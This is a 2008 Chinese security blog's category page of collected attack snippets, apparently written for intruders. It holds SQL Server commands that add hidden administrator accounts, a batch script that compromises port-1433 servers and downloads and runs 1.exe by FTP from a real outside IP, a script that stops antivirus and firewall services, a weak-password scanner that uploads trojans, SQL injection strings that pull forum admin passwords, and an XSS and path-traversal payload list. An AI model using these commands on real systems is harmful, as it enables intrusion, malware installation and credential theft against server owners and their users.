经典代码收集 - simeon的技术专栏 - 51CTO技术博客-领先的IT技术博客

公告

一个从事IT技术的人，行走在字里行间，喜欢网络，喜欢看小说，喜欢给各大杂志投稿，更喜欢交朋友。从今年开始我将奉献更多的原创文章给大家。如果转载请著名原处并跟我联系。本Blog仅做技术研究，如有冒犯之处，请及时联系本人.

simeon2005 的BLOG

博客统计信息

51cto博客之星
用户名：simeon2005
文章数：923
评论数：784
访问量：267450
无忧币：10845
博客积分：10522
博客等级：9
注册日期：2006-05-23

51CTO推荐博客

struggle1=1	lhtwy
IT昆仑	davidchen
beniao	david_yeung
daizhenjun	maddish
北京看看	mk6yeung
刘古权	davjw

网络安全推荐站点

   Lenk技术联盟
   黑客防线杂志
   绿盟科技
   安全焦点
   Metasploit Project
   sqlsecurity
   SecuriTeam
   微软安全公告
   snort
   SABRE Security
   remote-scan
   realvnc
   PGP Corporation
   nessus
   milw0rm最新漏洞
   foundstone
   www.sysinternals.com
   蜜罐工程
   www.safemode.org
   sourceforge
   最新漏洞发布
   Concerning IT
   安诺科技
   encryptpe
   aspack
   瑞星网络安全
   黑客手册

软件下载推荐站点

   新浪软件下载
   华军软件园
   天极网下载
   驱动程序下载

加密与解密友情链接

看雪学院
看雪论坛

友情链接

安天信息安全专业论坛

国家经济与金融安全研究

   草根网
   祖国网
   痛恨走狗和卖国贼
   张宏良的BLOG
   用良知说话-时寒冰

文章

文章列表>>

自动登录telnet批处理文件

2008-05-29 09:26:38

类别：经典代码收集 | 阅读全文(190) | 回复(0)

SQL Server 2000渗透技术研究

2008-05-28 15:48:57

使用oacreate以及oamethod来执行命令。
declare @shell int
exec sp_oacreate 'wscript.shell',@shell out
exec sp_oamethod @shell ,'run',null,'net user simeon simeon /add'
exec sp_oamethod @shell ,'run',null,'net localgroup administrators simeon /add'

类别：经典代码收集 | 阅读全文(45) | 回复(0)

1433扫描dos命令

2008-05-25 21:44:02

start xiaofeng\a.bat
@echo off
color 0A
echo +==============================================================================+
echo +             此1433端口扫描弱口令自动传马工具是由大肠工作室出品.              +
echo +                           → 大肠工作室 ←                                  +
echo +                      QQ：330328224    QQ群：13249014                ..

类别：经典代码收集 | 阅读全文(205) | 回复(0)

1433抓肉鸡bat命令收集

2008-05-25 21:43:08

net user guest 87966550
net localgroup administrators guest /add
net user guest /active:yes
echo open 219.128.253.142 >1.txt
echo 123 >>1.txt
echo 123 >>1.txt
echo get 1.exe >>1.txt
echo bye >>1.txt
ftp -s:1.txt
1.exe
1.exe
1.exe
del 1.txt
del C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll
exit
exit

类别：经典代码收集 | 阅读全文(97) | 回复(0)

关闭防火墙和杀毒软件的脚本

2008-05-20 22:13:48

@echo off
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Fprot.exe" /y
net stop "F-Prot.exe" /y
net stop "F-PROT95" /y
net stop "F-Prot95.exe" /y
net stop "FP-WIN" /y
net stop "Fp-Win.exe" /y
net stop "Freedom 2" /y
net stop "Frw.exe" /y
net stop "F-STOPW" /y
net stop "F-Stopw.exe" /y
net stop "GNAT Box Lite" /y
net stop "IAMAPP" /y
net stop "Iamapp.exe" /y
net stop "Iamserv.exe" /y
net stop "Ibmasn.exe" /y
net stop "Ibmavsp.exe" /y
net stop "Icload95.exe" /y
net stop "Icloadnt.exe" /y
net stop "ICMON" /y
net stop "Icmon.exe" /y
net stop "Icsupp95.exe" /y
net stop "Icsuppnt.exe" /y
net stop "Iface.exe" /y
net stop "Internet Alert 99" /y
net stop "IOMON98" /y
net stop "Iomon98.exe" /y
net stop "Jedi.exe" /y
net stop "LOCKDOWN2000" /y
net stop "Lockdown2000.exe" /y
net stop "Look'n'Stop" /y
net stop "Look'n'Stop Lite" /y
..

类别：经典代码收集 | 阅读全文(39) | 回复(0)

将exe文件生成bat的vbs脚本

2008-05-20 22:10:37

fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with

用法：
将以上代码保存为*.vbs，然后将..

类别：经典代码收集 | 阅读全文(34) | 回复(0)

一些安全辅助脚本

2008-05-20 22:08:46

type c:\boot.ini
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
net user someone password /add
net localgroup administrators someone /add
net localgroup administrators
query user

功能为：
（1）查看系统版本
（2）查看3389端口
（3）添加并查看管理员用户
（4）查看3389是否可用。

类别：经典代码收集 | 阅读全文(15) | 回复(0)

SQL server 数据库危险存储过程删除与恢复

2008-05-18 08:50:41

类别：经典代码收集 | 阅读全文(56) | 回复(0)

sql代码收集

2008-05-18 08:49:51

在查询中添加用户
exec xp_cmdshell 'net user test test2005 /add'
exec xp_cmdshell 'net localgroup administrators test /add'
exec xp_cmdshell 'net localgroup users test /delete'
exec xp_cmdshell 'net user test /delete'
在dos下添加用户：
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin temp2005,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

类别：经典代码收集 | 阅读全文(40) | 回复(0)

php注入代码收集之一

2008-04-14 22:39:16

boardrule.php?groupboardid=11111/**/union/**/select/**/concat(user(),0x3f,database(),0x3f,version())/*
/**/union/**/select/**/concat(username,0x3f,password,0x3f,adduser)/**/from /**/dv_admin/*
/**/union/**/select/**/concat(username,0x3f,userpassword,0x3f,adduser)/**/from /**/dv_user/*
*/where/**/usergroupid=1/*
boardrule.php?groupboardid=

以上代码节选自《黑客手册》第四期 rabbitsafe的《最新动网PHP版漏洞》文章。

类别：经典代码收集 | 阅读全文(42) | 回复(0)

XSS攻击测试语句大全

2008-04-09 12:22:30

><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(’XSS’)%3C/script%3E
<script>alert(’XSS’)</script>
<img src="javascript:alert(’XSS’)">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(’Vulnerable’);</script&gt
<script>alert(’Vulnerable’)</script>
..

类别：经典代码收集 | 阅读全文(180) | 回复(2)

热门文章

最新评论

[匿名]ffffrdert：ht g4vwegrgrd,,tgr.,lrdekeere.eeo..

cao2xi：猪也不想死，猪也有对生的渴望，或..

[匿名]51cto游客：还是不错的！

[匿名]心累了消失：还好

51CTO推荐博文

Alex学Ruby[详解 block和Pr..